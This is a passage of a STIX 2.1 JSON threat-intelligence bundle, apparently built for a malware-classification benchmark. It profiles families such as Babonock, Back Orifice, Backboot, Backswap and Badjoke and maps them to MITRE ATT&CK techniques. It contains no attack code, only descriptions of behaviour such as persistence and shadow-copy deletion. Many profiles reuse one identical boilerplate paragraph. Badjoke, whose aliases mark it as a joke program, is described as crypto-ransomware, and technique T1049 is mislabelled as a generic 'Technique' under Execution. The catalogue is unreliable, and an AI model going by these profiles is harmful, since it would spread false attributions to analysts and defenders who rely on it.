      "id": "relationship--a0331765-cc54-52a2-bbd7-5d0959ebcaf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d1b7f92-7ae5-5d87-93ff-cc2fd6ca6d16",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babel exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f54dce1-34fa-585a-844a-7acfad292ffe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d1b7f92-7ae5-5d87-93ff-cc2fd6ca6d16",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babel exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4239ca7d-3a69-5b70-acaf-d5da9a32b081",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d1b7f92-7ae5-5d87-93ff-cc2fd6ca6d16",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babel exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc4f484c-dc79-5aa6-9148-de82d6fca9ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d1b7f92-7ae5-5d87-93ff-cc2fd6ca6d16",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babel exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a3c4bf5-2498-52b6-9600-c6a40906193f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Babonock",
      "description": "Babonock (classified in antivirus detection telemetry under designations including Ransom:Win32/Babonock, Ransom.Win32.Babonock, and Win32/Babonock) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Babonock executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Babonock",
        "Downloader.Babonock",
        "Win32/Babonock",
        "Ransom:Win32/Babonock",
        "Ransom.Win32.Babonock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Babonock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/babonock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9258f1a-0862-5c49-867b-e6b659aee3ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a3c4bf5-2498-52b6-9600-c6a40906193f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babonock exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70897575-0256-5122-a2e6-4afd22565647",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a3c4bf5-2498-52b6-9600-c6a40906193f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babonock exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79a87f42-124c-535c-bac4-dc9d292693b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a3c4bf5-2498-52b6-9600-c6a40906193f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Babonock exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4d33134a-594c-5d44-9abe-a0392a3d313c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Babylon",
      "description": "Babylon (classified across antimalware research repositories under signatures including BrowserModifier:Win32/Babylon, Adware:Win32/Babylon, and PUA:Win32/BabylonToolbar) is a landmark browser hijacker, monetization toolbar, and search-redirector framework originally distributed alongside the Babylon desktop translation software and deceptive freeware installers from 2011 to 2015. Widely flagged by Microsoft Defender and antimalware vendors worldwide, Babylon forcefully alters user browser homepages and default search engines to isearch.babylon.com, intercepts URL navigation bars, and installs stubborn Browser Helper Objects (BHOs). The software actively blocks attempts to restore native browser settings and transmits browsing queries to third-party ad networks, leading to major global complaints and widespread enterprise PUA classification. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Babylon",
        "Adware:Win32/Babylon",
        "PUA:Win32/BabylonToolbar",
        "Babylon Search",
        "Babylon Toolbar",
        "Win32/Babylon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Babylon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/babylon"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--794803a8-f967-556b-a03b-834f1302c3f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bacalid",
      "description": "Bacalid (classified in antivirus detection telemetry under designations including Ransom:Win32/Bacalid, Ransom.Win32.Bacalid, and Win32/Bacalid) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bacalid executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bacalid",
        "Downloader.Bacalid",
        "Win32/Bacalid",
        "Ransom:Win32/Bacalid",
        "Ransom.Win32.Bacalid"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bacalid",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bacalid"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--200cee1b-6772-5a9d-9419-9cfe8e2a92c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--794803a8-f967-556b-a03b-834f1302c3f7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bacalid exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28e07bbf-2a6b-5f64-8d78-9a7fe60c145d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--794803a8-f967-556b-a03b-834f1302c3f7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bacalid exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1d2c105-03f4-5de1-bd9e-92507ce0b3d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--794803a8-f967-556b-a03b-834f1302c3f7",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bacalid exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f89902a4-c004-5279-b45e-e73ebfce89a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Back_Orifice",
      "description": "Back Orifice, created by the hacker group Cult of the Dead Cow (cDc) and released in 1998, is one of the most infamous remote administration tools (RATs) in cybersecurity history. Originally designed to demonstrate the inherent security weaknesses in Microsoft's Windows 95 and Windows 98 operating systems, it functioned as a powerful, stealthy client-server application. It allowed a remote user to control a machine across a network with virtually no indication to the local user. The server component, once installed, would silently listen for commands on a specified port, enabling the remote client to execute programs, manage the file system, view network connections, and even log keystrokes. Back Orifice was instrumental in raising public awareness about endpoint security and remote exploitation, prompting major shifts in how software vulnerabilities were addressed by vendors.",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BO",
        "Back Orifice 2000",
        "BO2K"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Back_Orifice",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/back_orifice"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a58b157c-ba7d-5c2a-8c10-0c3b507b7e4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89902a4-c004-5279-b45e-e73ebfce89a8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Back_Orifice exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1fdedb5-dfd3-566e-9e16-62b6fe54ca0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89902a4-c004-5279-b45e-e73ebfce89a8",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Back_Orifice exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7646d2d-40d2-5416-b3fc-abd64ac81651",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89902a4-c004-5279-b45e-e73ebfce89a8",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Back_Orifice exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f06d4a3f-6869-5b3e-899f-144512dcc9f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89902a4-c004-5279-b45e-e73ebfce89a8",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Back_Orifice exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--fd5d28d2-6750-5750-85d1-e4793e99e544",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1049: Technique",
      "description": "MITRE ATT&CK Technique T1049 (Technique) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1049",
          "url": "https://attack.mitre.org/techniques/T1049/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--661a2b10-c3be-5b29-ba2e-5464284f8681",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89902a4-c004-5279-b45e-e73ebfce89a8",
      "target_ref": "attack-pattern--fd5d28d2-6750-5750-85d1-e4793e99e544",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Back_Orifice exhibits technique T1049 (Technique)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c7c2364-b543-5aa2-9ad6-c5e76037a793",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Backboot",
      "description": "Backboot (classified across antivirus vendors under signatures including Trojan:Win32/Backboot, Trojan:Win32/Backboot.A, and VirTool:Win32/Backboot) is a persistent Windows backdoor and low-level system manipulator. Active in multi-stage intrusion campaigns, Backboot is deployed via trojan droppers or secondary exploit stages to establish long-term persistence that survives standard system reboots and security sweeps. It targets Windows boot-time initialization routines and kernel subsystem configurations, creating deceptive system services and hook routines that intercept filesystem read and write operations. Backboot opens reverse TCP/HTTP command channels to remote C2 infrastructure, providing threat actors with interactive shell capabilities, remote file upload and download operations, and process execution capabilities while suppressing operating system security event logging. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Backboot",
        "Trojan:Win32/Backboot.A",
        "VirTool:Win32/Backboot",
        "Backdoor:Win32/Backboot",
        "Win32/Backboot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Backboot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/backboot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1542.003: Pre-OS Boot: Bootkit",
      "description": "MITRE ATT&CK Technique T1542.003 (Pre-OS Boot: Bootkit) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1542.003",
          "url": "https://attack.mitre.org/techniques/T1542/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5112e8e-da58-516d-aca3-959905b8658e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c7c2364-b543-5aa2-9ad6-c5e76037a793",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backboot exhibits technique T1542.003 (Pre-OS Boot: Bootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbe5cb5d-34cd-5cf3-a1b6-5c3cad98eb32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c7c2364-b543-5aa2-9ad6-c5e76037a793",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backboot exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddf9ace8-2729-5a80-8900-312597552084",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c7c2364-b543-5aa2-9ad6-c5e76037a793",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backboot exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7db5217-7e82-5f17-953a-e37c25e8c311",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c7c2364-b543-5aa2-9ad6-c5e76037a793",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backboot exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad95af28-4770-5658-ae51-219e2344f3af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c7c2364-b543-5aa2-9ad6-c5e76037a793",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backboot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--06bc341f-773c-55d2-aa07-172af0ce875d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Backswap",
      "description": "Backswap (classified in antivirus detection telemetry under designations including Trojan:Win32/Backswap, Trojan.Win32.Backswap, and Win32/Backswap) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Backswap executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Backswap",
        "Trojan.Win32.Backswap",
        "Win32/Backswap"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Backswap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/backswap"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e926551-0d1c-5171-9678-19c3efdd170f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06bc341f-773c-55d2-aa07-172af0ce875d",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backswap exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (Evaded by using simulated keystrokes instead))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1056.002: Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks)",
      "description": "MITRE ATT&CK Technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1056.002",
          "url": "https://attack.mitre.org/techniques/T1056/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--145cba7b-4b1b-5291-9dbc-4c708c100e65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06bc341f-773c-55d2-aa07-172af0ce875d",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backswap exhibits technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e575568-57e0-54fb-a871-fb4d9ec54173",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06bc341f-773c-55d2-aa07-172af0ce875d",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backswap exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript (The actual payload injected via simulated keystrokes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebd5309d-cd49-5c62-8f2b-7943eb3d85fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--06bc341f-773c-55d2-aa07-172af0ce875d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Backswap exhibits technique T1185 (Browser Session Hijacking (Altering transactions via the injected JavaScript))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--40a13ded-dd9a-5f15-8575-5e9ff68e6119",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Badjoke",
      "description": "Badjoke (classified in antivirus detection telemetry under designations including Ransom:Win32/Badjoke, Ransom.Win32.Badjoke, and Win32/Badjoke) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Badjoke executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "JokeProgram",
        "Hoax.BadJoke",
        "Riskware.Joke",
        "Ransom:Win32/Badjoke",
        "Ransom.Win32.Badjoke",
        "Win32/Badjoke"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Badjoke",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/badjoke"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43849a8b-0230-5dfc-bd80-40e30a8b7719",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40a13ded-dd9a-5f15-8575-5e9ff68e6119",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Badjoke exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ba019bb-2f97-5568-85f5-3fba6c421881",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40a13ded-dd9a-5f15-8575-5e9ff68e6119",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Badjoke exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5eb7eda4-8858-5998-876e-8137cd434e28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40a13ded-dd9a-5f15-8575-5e9ff68e6119",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Badjoke exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--540e9049-fb50-5107-9eee-d55b1944ba67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40a13ded-dd9a-5f15-8575-5e9ff68e6119",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Badjoke exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a39eaad-7706-59d5-8261-cedc7e6a2053",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40a13ded-dd9a-5f15-8575-5e9ff68e6119",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Badjoke exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4489147d-7b20-53dd-821d-981fd7e6b594",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Badur",
